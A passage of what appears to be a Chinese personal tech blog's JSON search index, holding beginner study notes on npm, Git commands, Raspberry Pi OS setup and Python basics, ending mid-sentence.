cache\n清除缓存，npm cache clean \u0026ndash;force\n下载包时会先下载到缓存中，使用pacote包解压到node_modules目录中\n其中pacote包又依赖于npm-registry-fetch来下载包，并且根据IETF RFC 7234生成缓存\n在下载包时，根据package-lock.json存储的integrity，version，name信息生成唯一的key\n如果存在缓存资源，则寻找其tar包的hash，通过pacote包将其解压到node_modules目录中\nnpm init可生成一个初始化的package.json，可通过js脚本来自定义npm init\nnpm-init.js\nmodule.exports = { name: prompt('name?''halloword'), version: prompt('version?''0.0.1') } npm config set init-module ~.npm-init.js\nnpm link（方便本地开发包，以及调试测试，假设npmModulea目录是一个包项目目录）\n先进入包项目目录（npmModulea目录），执行npm link，执行该命令会让npmModulea包被链接到全局node_modules目录中（软链接）\n在包项目目录（npmModulea目录）执行npm link npmModulea，该命令可以让npmModulea包链接到当前项目的node_modules目录中\nnpx可以直接执行node_modules目录的.bin目录下的文件，还可以在执行命令时自动检查命令是否存在\n而且npx在执行模块时，会优先安装模块的依赖，在执行之后会删除这些依赖，避免全局安装模块带了的问题\n部署私有npm镜像，nexus（java环境），verdaccio（Python环境），cnpm（node环境）\ncnpm私有npm镜像仓库：https://github.com/cnpm/cnpmjs.org\n简化依赖树，npm dedupe，避免几个包依赖另一个同版本包时，存在多个依赖的情况（yarn会自动执行该命令，自动扁平化依赖树）\nnpm ci要求项目存在package-lock.json或者npm-shrinkwrap.json，而且npm ci比npm install安装更严格，其完全根据package-lock.json安装依赖（安装依赖时不会修改package-lock.json和package.json），当package-lock.json中的依赖于package.json不一致时，报错退出并且不会修改package-lock.json\n注意：package-lock.json和npm-shrinkwrap.json同时存在项目目录时，package-lock.json会被忽略\nnpm ci安装依赖前，会先删除原来项目的node_modules文件夹，然后全新安装，而且是一次安装项目的全部依赖，不能安装单个依赖，所以其不需要去校验已下载依赖版本与控制版本的关系，也不用校验是否存在最新版本的库，下载的速度会更快\npackage-lock.json可以优化依赖的安装速度，package-lock.json已经保存了每个包的具体版本和下载链接，不需要再向远程仓库进行查询，获取到依赖后可直接进入文件完整性校验环节（integrity）\n而且package-lock.json可以锁定其依赖结构，保证执行npm install都得到相同的node_modules\npackage-lock.json保存其生成的依赖树是一致的，而package.json只能得到自己安装的依赖，但是其依赖的子依赖并没有记录，子依赖可能会发生改变或者更新了版本，从而导致其依赖树不一致\npackage-lock.json中的xxxdependencies\ndependencies表示项目依赖（会自动下载），devDependencies表示开发依赖（不会自动下载），peerDependencies表示同版本依赖（父依赖，宿主依赖），bundledDependencies表示捆绑依赖，optionalDependencies表示可选依赖\n注意：peerDependencies指定的依赖会进行安装，在引用这个依赖时，会先引用宿主依赖，bundledDependencies中指定的依赖，需要先在dependencies和devDependencies声明过，否则会报错，optionalDependencies中指定的依赖哪怕安装失败了，也不会导致安装失败\npeerDependencies其中的依赖就是好吧antd依赖于react和react-dom一样，是宿主依赖，表示你安装我时，最好安装这些依赖\n","permalink":"https://chenjunlinabc.github.io/posts/31/","summary":"npm是Node.js的默认包管理工具\n安装npm：安装node.js(一般来说安装nodejs都会安装npm的)\nnpm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install \u0026ndash;dependencies 只安装package.json里的dependencies的文件 npm install \u0026ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹\n升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update","title":"node.js包管理工具npm的简单使用"},{"content":"git安装\nWindows和mac\n到git官网下载对应的安装文件，进行安装，下一步\nLinux\nsudo apt install git-all 或者 sudo dnf install git-all\n也可以用源代码编译（Git是开源的，是Linux之父的作品） https://github.com/git/git/releases\n方便git管理，记录每一个修改了Git仓库的人，设置用户名和邮箱\ngit config \u0026ndash;global user.name \u0026ldquo;chenjunlin\u0026rdquo; git config \u0026ndash;global user.email \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\nssh-keygen -t rsa -C \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo; # 生成ssh密钥\nmkdir learngit #创建一个空目录\ncd learngit # cd到目录\npwd #显示当前目录路径\ngit init #将当前的目录变成git管理仓库\nls -ah #将所有目录（包括隐藏目录）显示出来\ngit add 文件名 #将文件添加到仓库中\ngit commit -m 说明 #告诉git这次添加到仓库的说明，可以是任意内容\ngit status #返回仓库的当前状态\ngit diff 文件名 #查看当前文件的内容\ngit log #查看历史记录，加上\u0026ndash;pretty=oneline 查看commit id（版本号）\ngit reset \u0026ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本\ngit reset \u0026ndash;hard commit id #回到“未来”的版本，版本号可以不用写全，git会自动搜索，过版本号长度要尽量的长，防止可能出现搜索到多个版本的情况\ngit reflog #查看命令历史，也被用于找回commit id\ngit reflog show和git log -g \u0026ndash;abbrev-commit \u0026ndash;pretty=oneline效果是一样的\ngit add 实际上是把要提交文件存在暂存区，git commi 是一次性把暂存区的文件提交到分支，每一次git commi都要小心！！！\ngit checkout \u0026ndash; 文件名 #把该文件从工作区的修改全部撤销掉（修改后还没有git add放在暂存区或者已经提交到暂存区后又修改了使用这个就回到提交到暂存区后的状态）\ngit reset HEAD 文件名 #将暂存区的修改撤销掉，重新放回工作区\ngit rm 文件名 #把该文件从版本库中删除\nssh-keygen -t rsa -C \u0026ldquo;邮箱\u0026rdquo; #创建SSH Key,在用户主目录，查看.ssh目录，再查看该目录 有没有id_rsa和id_rsa.pub文件，没有就执行该命令，id_rsa是私钥，id_rsa.pub是公钥，在github的Key文本框添加上id_rsa.pub文字的内容\ngit remote add origin git@github.com: github的账户名/仓库名.git #关联github仓库\ngit push -u 远程仓库名 本地分支名 # 把本地分支推送到远程库上 -u是第一次添加要使用，本地的分支和远程的分支关联起来，关联了后，第2次推送就不用加了\ngit remote add 远程库名 远程库的git链接#本地和远程库关联起来\ngit clone git@git库地址 #克隆远程库到本地\ngit checkout -b 分支名 #创建dev分支并切换到该分支，也可以使用下面方法\ngit branch 分支名 #创建分支\ngit checkout 分支名 #切换到该分支\ngit branch #查看当前分支，会输出全部分支，在当前分支前加*\ngit checkout 分支名 #切换回指定分支\ngit merge 分支名 #可以把指定分支合并到当前分支\ngit branch -d 分支名 #删除该分支\ngit status #查看冲突的文件\n\u0026laquo;\u0026laquo;\u0026laquo;\u0026lt;和=======和\u0026raquo;\u0026raquo;\u0026raquo;\u0026gt;表示不同分支的内容，修改冲突就是把不同分支提交的内容修改为一样的\n一般都是先克隆主分支上的最新文件，然后在最新文件上进行操作，然后提交，避免分支冲突\ngit log #查看分支的合并图，可以在后面加上\u0026ndash;graph\n合并分支时，git可能会使用fast forward模式，在这种模式下删除分支会丢掉分支信息，在合并时候使用git merge \u0026ndash;no-ff 分支名 表示禁用fast forward，可以加上-m参数，把commit说明加上，使用fast forward模式是看不出来做出过合并的\ngit stash #把还没有提交的工作现场存起来，可以重新恢复工作现场\ngit stash list #查看已经存起来的工作现场\ngit stash apply #恢复工作现场，但是不会删除stash的内容，需要使用git stash drop来删除\ngit stash pop #恢复工作现场并删除stash的内容\ngit stash apply stash@{指定} #可以指定恢复的stash\ngit branch -D 分支名#强制删除分支，在没有被合并的情况时\ngit remote #查看关联的远程库信息，或者加-v 查看更详细的信息，没有推送权限就没有push地址\ngit push 远程库名 分支名 #把该分支推送到远程库对应的分支上\ngit checkout -b 分支名 远程库名/分支名 #默认只有主分支，要使用其他分支上工作就使用这个\ngit branch \u0026ndash;set-upstream-to=远程库名/分支名 分支名 #指定本地分支与远程分支的链接\ngit pull #把最新的提交抓下来\ngit rebase #把本地未push的分叉提交历史衍合成基线，使用该命令会导致本地的分叉提交被修改\ngit tag 标签名 #给对应的分支打上标签，git tag查看所有标签\ngit tag -a 标签名 -m \u0026ldquo;说明\u0026rdquo; 版本号\ngit tag 标签名 版本号 #标签链接版本号\ngit show 标签名 #查看标签信息\ngit tag -d 标签名 #删除指定的标签\ngit push 远程库名 标签名 #推送该标签到远程库上，或者\u0026ndash;tags 一次性推送全部没有推送到远程库的本地标签\n删除远程库的标签先删除本地标签，然后使用 git push 远程库名：refs/tags/标签名\ngit remote rm 远程库名 #删除已有的远程库\ngit stash # 暂存修改，将改变暂时存起来\ngit stash list #查看在 stash 中的缓存 然后恢复工作现场\n合并冲突\n合并冲突是因为不同的分支，修改了同一份文件，而git不知道以谁为准，因此提示合并冲突，只需要修改这个冲突文件，修改为某个分支的修改，执行git status查看冲突的文件，再合并就好了\ngit status #查看冲突的文件\ngit log #查看分支的合并图\ngit log \u0026ndash;graph \u0026ndash;pretty=oneline \u0026ndash;abbrev-commit #简化信息\n修改冲突的文件的内容，改成一样的\ngit merge \u0026ndash;abort # 退出合并，当合并冲突发生时，但是有不想修改冲突，而是想取消合并时，指向该命令，git会尝试恢复到执行合并前的状态\n版本冲突\n版本冲突就是当前版本不是最新的，git不知道以哪个版本为准，因此提示版本冲突，只需要git pull获取最新版本，就可以避免这个问题，如果已经发生版本冲突了，那么执行git status查看冲突文件，不管是分支冲突还是版本冲突，其修改都不会丢失，而是保存在这个冲突文件中，只需要手动修改成自己想要的就好了，一般来说上面是本地的，下面是最新的\n版本控制\n获取git仓库\n将本地目录转换为git仓库（初始化仓库）\n克隆已存在的git仓库到本地\ngit的三种状态\n已修改，已暂存，已提交\ngit正常的工作流程：\n工作区修改文件 -\u0026gt; 要提交的文件暂存 -\u0026gt; 提交更新（永久性存储到git仓库）\n工作区 -\u0026gt; 暂存区 -\u0026gt; git仓库\n初始化仓库\ngit init // 初始化当前目录为git仓库，初始化会创建.git的隐藏目录，.git目录包含初始的必要文件\n工作区中的文件的4种状态\n未追踪（untracked）：没有被git管理的文件，git之前的提交中没有该文件\n未修改（unmodified）：工作区内容和git仓库中文件的内容保持一致\n已修改（modified）：工作区内容和git仓库中文件的内容不一致\n已暂存（staged）：工作区已被修改文件被放到暂存区，准备提交到git仓库中\n检查文件的状态\ngit status\n以精简的方式显示文件状态\n未跟踪文件前面会有??标记\n已跟踪文件前面会有A标记\ngit status -s\ngit status \u0026ndash;short\n跟踪新文件或者将已跟踪，已修改的文件存放在暂存区，将有冲突的文件标记为已解决冲突\ngit add 文件名或者目录名\n暂存多个文件\ngit add .\n提交更新（将暂存区提交到git仓库）\ngit commit -m 本次提交的描述\n撤销对文件的修改（恢复到git仓库中的版本）\ngit checkout \u0026ndash; 要撤销的文件名\n取消已暂存的文件（移除在暂存区的指定文件）\ngit reset HEAD 要移除的文件名\n跳过暂存区\n工作区 -\u0026gt; git仓库\n会将全部已经被跟踪的文件暂存起来一并提交\ngit commit -a -m 本次提交的描述\n移除文件\ngit仓库和工作区移除文件\ngit rm -r 要移除的文件名\ngit仓库移除文件，工作区保留\ngit rm \u0026ndash;cached 要移除的文件名\n忽略文件\n将一些文件不纳入git管理\n.gitignore配置文件\n以*开头的表示忽略，例如：*.java，表示忽略所有.java文件\n以#开头是注释\n以/结尾的是目录，忽略任何目录下的指定的文件夹，例如：hallo/\n以/开头的是防止递归，只忽略当前目录的指定文件，例如：/hallo.java\n以!开头的是表示取反，哪怕忽略了java，就是匹配所有指定的文件，例如：!hallo.java\n使用glob模式进行匹配（glob是简化的正则表达式）\nglob模式\n*匹配0个或者多个\n[abc]匹配任何一个在括号里的字符\n?只匹配一个任意字符\n[0-9]：匹配所有0到9的数字\na/**/c：可以匹配任意中间目录，例如a/b/c\n例如：\nhallo/*.java // 忽略hallo目录下的全部java文件\nhallo/**/*.java // 忽略hallo目录以及全部子目录下的全部java文件\n查看提交历史\n按时间来排序全部提交历史，最近的提交在上面\ngit log\n只查看最新的指定条数的提交历史\ngit log 6\n在一行上查看指定条数的提交历史\ngit log 6 \u0026ndash;pretty=oneline\n在一行上查看指定条数的提交历史，并且按照输出格式来输出\ngit log \u0026ndash;pretty=oneline: \u0026ldquo;%h | %an | %ar | %s\u0026rdquo;\n%h为提交的简写哈希值\n%an为作者名字\n%ar为作者修订日期\n%s为提交说明\n回退指定版本\ngit reset \u0026ndash;hard 版本id\n旧版本返回新版本（获取新版本的id）\ngit reflog \u0026ndash;pretty=oneline\ngithub\n远程仓库访问：https和ssh\nhttps：必须要输入账号和密码\nssh：需要配置，配置成功，不需要输入账号和密码\n将本地仓库上传到远程仓库\n本地有仓库：\n本地仓库和远程仓库进行关联 git remote add origin 远程仓库地址\n推送本地仓库内容 git push -u origin master\n如果本地没有仓库，先建立仓库，再关联，推送\ngit init -\u0026gt; git add -\u0026gt; git commit\n如果已经关联过，推送过，可以直接git push推送\nssh key\n生成ssh key\nssh-keygen -t rsa -b 4096 -C \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\n如果是windows，会在C:\\Users\\用户名文件夹.ssh下\nid_rsa：私钥\nid_rsa.pub：公钥\n私钥可以通过计算推出公钥，公钥推不出私钥，因此密钥安全性很高，通过配置公钥到github中，本地的私钥可以确保，是本人在提交推送\n检测是否配置ssh key成功\nssh -T git@github.com\nhttps远程仓库\nhttps://github.com/xxx/xxx.git\nssh远程仓库\ngit@github.com:xxx/xxx.git\n简单来说就是公钥设置在github\ngit clone 远程库\n再修改文件\ngit add . // 提交文件到暂存区\ngit commit -m \u0026ldquo;xxx\u0026rdquo; // 提交更新\ngit push -u -f origin master // 推送到远程仓库，-f是强制推送（团队仓库别使用-f，个人无所谓）\n注意：git对文件名大小写默认不敏感，因此修改hallo.py和Hallo.py是不认为被修改，在提交时没有记录，如果想开启大小写敏感可以找到项目的.git文件夹（隐藏文件，需显示）,找到config文件，修改ignorecase为false，或者直接用git config core.ignorecase false命令一键修改\ngit回滚\ngit reset HEAD^ // 回到add暂存区时（未commit）\ngit reset \u0026ndash;hard HEAD^ // 回滚到上个版本，HEAD是当前版本的指向\ngit reset \u0026ndash;hard commitId // 回到指定版本，commitId使用git log查看（commit那一行的id）\n注意：reset回退会删除之前版本的（例如原版本在第3次修改，回到第2版本，会将第3版本的修改删除（这个删除不是指实质删除，而是工作区的代码回到之前的版本了，在第2版本上，没第3版本了））\n如果这是某个修改有错误，要回退时，但是又想保留之前版本的工作时就可以使用git revert -n commitId\n这种需求常见于多人协同开发，当别人已经push提交，如果再使用reset回退的话，就会影响到别人的提交，因为版本冲突了，revert实质上就是恢复到某个版本，但是之前的版本不会被删除，而且是在当前最新版本的基础上创建了一个新的版本，当然在git上没有是绝对的删除，只要有commitId在就可以恢复\n在git2.23版本中添加了git switch命令，该命令专门用来切换分支，功能和git checkout一致\ngit switch 分支名 // 切换到指定分支\ngit switch -c 分支名 // 创建该分支并且切换到该分支，和git checkout -b功能一致\n解决分支无法合并\n导致原因：不同的分支都有自己的新提交，git不知道以谁的为准\n解决方法：手动解决，通过git status命令查看冲突的文件\ngit commit \u0026ndash;amend // 对最近提交的message进行修改\ngit rebase -i commit的id // 修改指定提交的message，这里应该使用reword或者r，退出该文件后，git会弹出修改commit描述的文件\ngit rebase -i中有6种命令，分别是pick，reword，edit，squash，fixup，exec\npick：提交，可通过排序来变更提交的顺序，如果不想要该次直接删除整行\nreword：和pick类似，但是它可以给你修改commit的message的机会\nedit：提供机会来修改提交\nsquash：将多个或者两个提交合并成一个提交，压缩到其上方的提交，并且给机会来编写这次提交的message\nfixup：和squash类似，不过合并的过程中，被合并的提交的message将丢失，压缩到其上方的提交，但是只保留较早的提交的message\nexec：对提交执行shell命令\n解决分支冲突的其他解决方案（本地分支与远程仓库分支合并，本地分支作为指定远程仓库分支的未来分支提交）\n将远程分支拉取至本地 git fetch 远程仓库地址 分支名\n查看远程分支 git branch -r\n查看全部分支 git branch -a\n将远程仓库分支与本地当前分支合并 git merge 远程仓库地址/分支名\n将远程仓库分支的修改与本地当前分支合并（rebase可以将其他分支的提交作为当前分支的时间线的开头，也就是当前分支作为新的未来提交分支了） git rebase 远程仓库地址/分支名\nGPG签名（通过签名来确定提交者身份，git默认的用户及邮箱可以伪造，不安全）\n查看git是否包含GPG命令（windows要在Git Bash 运行）\ngpg \u0026ndash;version\n创建GPG keys\ngpg \u0026ndash;full-generate-key\n第一个是选择加密算法，选择1就好，然后就是选择key的长度（选择4096），再然后就是选择密令的有效期（根据自己选择来，不想过期就选择0），然后名称，邮箱，最后选择o设置私钥密码就创建完成\n查看生成的公钥\ngpg \u0026ndash;list-keys\n查看私钥\ngpg \u0026ndash;list-secret-keys\n关联GPG公钥到Github\ngpg \u0026ndash;armor \u0026ndash;export 密钥ID\n对commit签名\ngit config \u0026ndash;global user.signingkey 密钥ID\n开启git自动签名（也可以在git commit的时候使用-s参数）\ngit config \u0026ndash;global commit.gpgsign true\n查看git仓库签名信息\ngit log \u0026ndash;show-signature\n解决github网页签名问题\n导入github签名\ncurl https://github.com/web-flow.gpg | gpg \u0026ndash;import\n信任签名并且用自己的密钥进行签名验证\ngpg \u0026ndash;sign-key github的key\n","permalink":"https://chenjunlinabc.github.io/posts/30/","summary":"git安装\nWindows和mac\n到git官网下载对应的安装文件，进行安装，下一步\nLinux\nsudo apt install git-all 或者 sudo dnf install git-all\n也可以用源代码编译（Git是开源的，是Linux之父的作品） https://github.com/git/git/releases\n方便git管理，记录每一个修改了Git仓库的人，设置用户名和邮箱\ngit config \u0026ndash;global user.name \u0026ldquo;chenjunlin\u0026rdquo; git config \u0026ndash;global user.email \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\nssh-keygen -t rsa -C \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo; # 生成ssh密钥\nmkdir learngit #创建一个空目录\ncd learngit # cd到目录\npwd #显示当前目录路径\ngit init #将当前的目录变成git管理仓库\nls -ah #将所有目录（包括隐藏目录）显示出来\ngit add 文件名 #将文件添加到仓库中\ngit commit -m 说明 #告诉git这次添加到仓库的说明，可以是任意内容\ngit status #返回仓库的当前状态\ngit diff 文件名 #查看当前文件的内容\ngit log #查看历史记录，加上\u0026ndash;pretty=oneline 查看commit id（版本号）\ngit reset \u0026ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本","title":"Git版本管理系统学习笔记"},{"content":"（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统\n现改名为Raspberry Pi OS\n工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc\n修改为国内镜像源\n# 编辑 /etc/apt/sources.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi deb-src http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi\n# 编辑 /etc/apt/sources.list.d/raspi.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/ buster main ui\n使用刻录工具刻录树莓派系统（Win32DiskImager）\n使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart\n在boot目录新建一个wpa_supplicant.conf文件\nctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1\nnetwork={ ssid=\u0026quot;wifi的名字\u0026quot; psk=\u0026quot;wifi的密码\u0026quot; key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响\n插入内存卡，连接电源，开启树莓派\nWindows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找\n使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户\n修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启\nvnc服务\nsudo raspi-config\n依次操作：Interfacing Options -\u0026gt; VNC -\u0026gt; Yes\n选择第5个的interfacing Options\n找到第3个的vnc\n系统会提示是否安装vnc服务，回复y或者yes，等待系统安装完成\n或者安装vnc apt-get install x11vnc\nx11vnc -storepasswd 设置vnc密码，vnc登录使用\nx11vnc -usepw 用密码形式来启动vnc\nx11vnc -usepw -forever 防止vnc闪退，一直连接vnc\n开启桌面\nsudo raspi-config\n找到Boot Options，选择Desktop，重启\nssh-keygen 为了防止ssh连接每次都要输入密码，而设置的key密匙\nssh-copy-id pi@192.168.137.230 推送到要ssh的linux机子\n","permalink":"https://chenjunlinabc.github.io/posts/29/","summary":"（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统\n现改名为Raspberry Pi OS\n工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc\n修改为国内镜像源\n# 编辑 /etc/apt/sources.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi deb-src http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi\n# 编辑 /etc/apt/sources.list.d/raspi.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/ buster main ui\n使用刻录工具刻录树莓派系统（Win32DiskImager）\n使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart\n在boot目录新建一个wpa_supplicant.conf文件\nctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1\nnetwork={ ssid=\u0026quot;wifi的名字\u0026quot; psk=\u0026quot;wifi的密码\u0026quot; key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响\n插入内存卡，连接电源，开启树莓派\nWindows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找\n使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户\n修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启\nvnc服务\nsudo raspi-config\n依次操作：Interfacing Options -\u0026gt; VNC -\u0026gt; Yes","title":"配置树莓派笔记"},{"content":"安装python\n推荐安装anaconda3（linux）\nwget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh\ndash Anaconda3-2019.10-Linux-x86_64.sh\n根据提示安装，如果还是系统自带的python\nsudo gedit ~/.bashrc\nexport PATH=\u0026quot;/home/pc/anaconda3/bin:$PATH\u0026quot;\npc为系统的用户名，请修改成自己的系统用户名，请勿在root用户下安装anaconda3\n注意：如果使用anaconda3，请设置Path环境变量，/Anaconda3，/Anaconda3/Scripts，/Anaconda3brary/bin，这3个路径都需要设置\nWindows和mac 到官网下载安装包，直接下一步安装\nmac安装了Homebrew，可以使用brew install python3\nWindows设置环境变量，PATH 安装路径\n现在liunx一般都会自带有python3,如果没有可以安装一下\napt install python3\nyun install python3\n注意一下python2.x和python3.x这两个版本是不兼容的，要区分开\n检查是否安装成功，在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了 Windows的一定要注意PATH系统变量\n因为Python语言从规范到解释器都是开源的，所以存在多个解释器\n例如CPython，安装python3.x时就可以直接获取到一个官方版本的解释器：CPython，因为是使用C语言开发的，所以叫CPython\n在命令行或者终端，输入输入python3 回车，如果出现了\u0026raquo;\u0026gt; 那么当前状态是python的交互模式\n在交互模式下输入exit()，退出python的交互模式\n在交互模式下执行第一个程序 print(\u0026ldquo;hello,world\u0026rdquo;)\n回车输出hello，world，这是简单的打印字符串\n除了使用交互模式执行程序，又可以使用.py，在命令行或者终端下 python hello.py，如果报错，请检查程序是否出错或者该文件是否在当前目录下\n交互模式可以直接输出结果，但是使用.py文件却不会，想要输出结果，必须使用print()打印出来\n一个好的开发工具往往可以达到事半功倍的效果，例如pycharm和Visual Studio Code，我使用的是Visual Studio Code\nprint()接受多个输出，使用“,”分隔开，也可以输出整数\n当你想让用户输入一点东西的时候，python提供了一个input()，用法如下 name = input() 将输入的值存放到一个变量里\ninput()还提供了提示功能，显示一个字符串，例如：input(\u0026ldquo;xxxxx\u0026rdquo;)\n我想知道这个变量的内容咋办，可以在交互模式下直接输入变量名，回车，就可以查看该变量的内容 又可以使用print()打印下来\n那么什么是变量呢？\n在计算机程序中，变量不仅可以为整数或浮点数，还可以是字符串\n输入是Input，输出是Output，输入输出统称为Input/Output，或者简写为IO\n以#开头的语句是注释，注释是给人看的，解释器会忽略掉注释，注释可以是任何内容\n其他每一行都是一个语句，当语句以冒号:结尾时，缩进的语句视为代码块\n注意：python区分大小写，搞错了大小写，程序可能会报错。缩进建议使用4个空格\npython能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量\npython可以处理整型任意大小的整数，也可以使用二进制代表整数、\n浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示\n字符串是使用\u0026quot;\u0026ldquo;和\u0026rsquo;\u0026lsquo;括起来的任意文本，\u0026lsquo;\u0026lsquo;或\u0026quot;\u0026ldquo;本身只是一种表示方式，不是字符串的一部分\n字符串内部包含\u0026rsquo;又包含\u0026quot;怎么办？使用转义字符来标识，转义字符可以转义很多字符，比如n表示换行，t表示制表符，字符本身也是可以转义的，所以\\表示的字符就是\\\n为了简化，Python还允许用r\u0026rsquo;\u0026rsquo;，用来表示\u0026rsquo;\u0026lsquo;内部的字符串默认不转义\n在交互式命令行内输入，在输入多行内容时，提示符由\u0026raquo;\u0026gt;变为\u0026hellip;，提示可以接着上一行输入，注意\u0026hellip;是提示符，不是代码的一部分\n多行字符串\u0026rsquo;\u0026lsquo;\u0026lsquo;xxx\u0026rsquo;\u0026rsquo;\u0026rsquo;，可以在前面加上r使用\n布尔值只有两种值，分别是True和False，在计算机中布尔值要么是True，要么是False，在python中可以直接使用True、False表示布尔值，注意大小写\nand是与运算，只有所有值都为True时，and运算结果才是True\nor运算是或运算，只要其中有一个为True，那么or运算结果就是True\nnot运算是非运算，它是一个单目运算符，专门把True变成False，False变成True\n空值，使用None表示空值，这个空值不是0，因为0是有意义的，代表什么都没有\n在计算机程序中，变量不仅可以是数字，还可以是任意数据类型。\n变量在程序中用一个变量名表示，变量名必须是大小写英文、数字和_的组合，且不能用数字开头，\n变量名 = 任意数据类型，这个过程叫变量赋值，变量可以反复赋值\n这种变量本身类型不固定的语言称之为动态语言，与之对应的是静态语言。静态语言在定义变量时必须指定变量类型，如果赋值的时候类型不匹配，就会报错。\n例如golang就是一个静态语言，不能跨数据类型来赋值\nx = 1\nx = x+1\n这个是计算新的值，并且重新赋值给该变量\na = \u0026ldquo;hello\u0026rdquo;\n这时Python解释器干了两件事情：\n在内存中创建了一个\u0026rsquo;hello\u0026rsquo;的字符串；\n在内存中创建了一个名为a的变量，并把它指向\u0026rsquo;hallo\u0026rsquo;。\n可以把一个变量a赋值给另一个变量b，这个操作实际上是把变量b指向变量a所指向的数据\n因为程序是从上往下执行的，一定要理清逻辑\n常量就是不能变的变量，在python中使用大写表示一个常量，例如： ABC =123\n但这个常量还是可以被修改，因为Python没有任何机制可以保证该常量不会被改变，这个很奇怪\n/除法计算结果是浮点数，即使是两个整数恰好整除，结果也是浮点数\n当使用//除法时，两个整数的相除就可以是整数\n想要做精确的除法，就必须使用/了\n// 除，永远是整数\n字符编码 python提供了字符转编码函数ord()和编码转字符函数chr()\nPython可以使用编码来输出内容\nPython的字符串类型是str，在内存中以Unicode表示，一个字符对应若干个字节，可以转成bytes类型，方便传输和保存数据\n在Python中bytes类型的数据用带b前缀的单引号或双引号表示：a = b\u0026quot;hallo word\u0026rdquo;\nstr和bytes类型内容显示没有差别，但是bytes的每个字符都只占用一个字节\n在Python中，可以使用encode()方法来指定编码，例如： \u0026lsquo;hallo\u0026rsquo;.encode(\u0026lsquo;ascii\u0026rsquo;) b\u0026rsquo;hallo\u0026rsquo;\n注意：纯英文的str可以使用ASCII编码为bytes，显示内容一样，但是包含了其他语言（比如中文）的str不能使用ASCII编码，Python会报错，含有其他语言的str请使用UTF-8编码\n如果想把bytes转为str，可以使用decode()方法\n注意：如果bytes中包含无法解码的字节，decode()方法会报错\n如果bytes中只有一小部分无效的字节，可以传入errors=\u0026lsquo;ignore\u0026rsquo;忽略错误的字节\n计算str包含多少个字符，可以用len()函数\nlen()函数计算的是str的字符数，如果换成bytes，len()函数就计算字节数 为了让Python按UTF-8编码读取，一般都会在文件开头声明一下： # !/usr/bin/python3 # \u0026ndash; coding: utf-8 \u0026ndash;\n第一行是告诉计算机系统这是一个Python可执行程序，注意Windows会忽视这个\n第二行是告诉Python，请按照UTF-8编码读取源代码\n注意：声明并不代表文件是UTF-8编码的，请确保文本编辑器使用UTF-8 without BOM编码\n如果想一些内容可以根据变量变化，那么就用到格式化字符串\n在Python中，采用的格式化方式和C语言是一致的，用%实现\n\u0026lsquo;Hello, %s $%d \u0026rsquo; % (\u0026lsquo;world\u0026rsquo;)\n常见的占位符有：\n%d \u0026ndash; 整数 %f 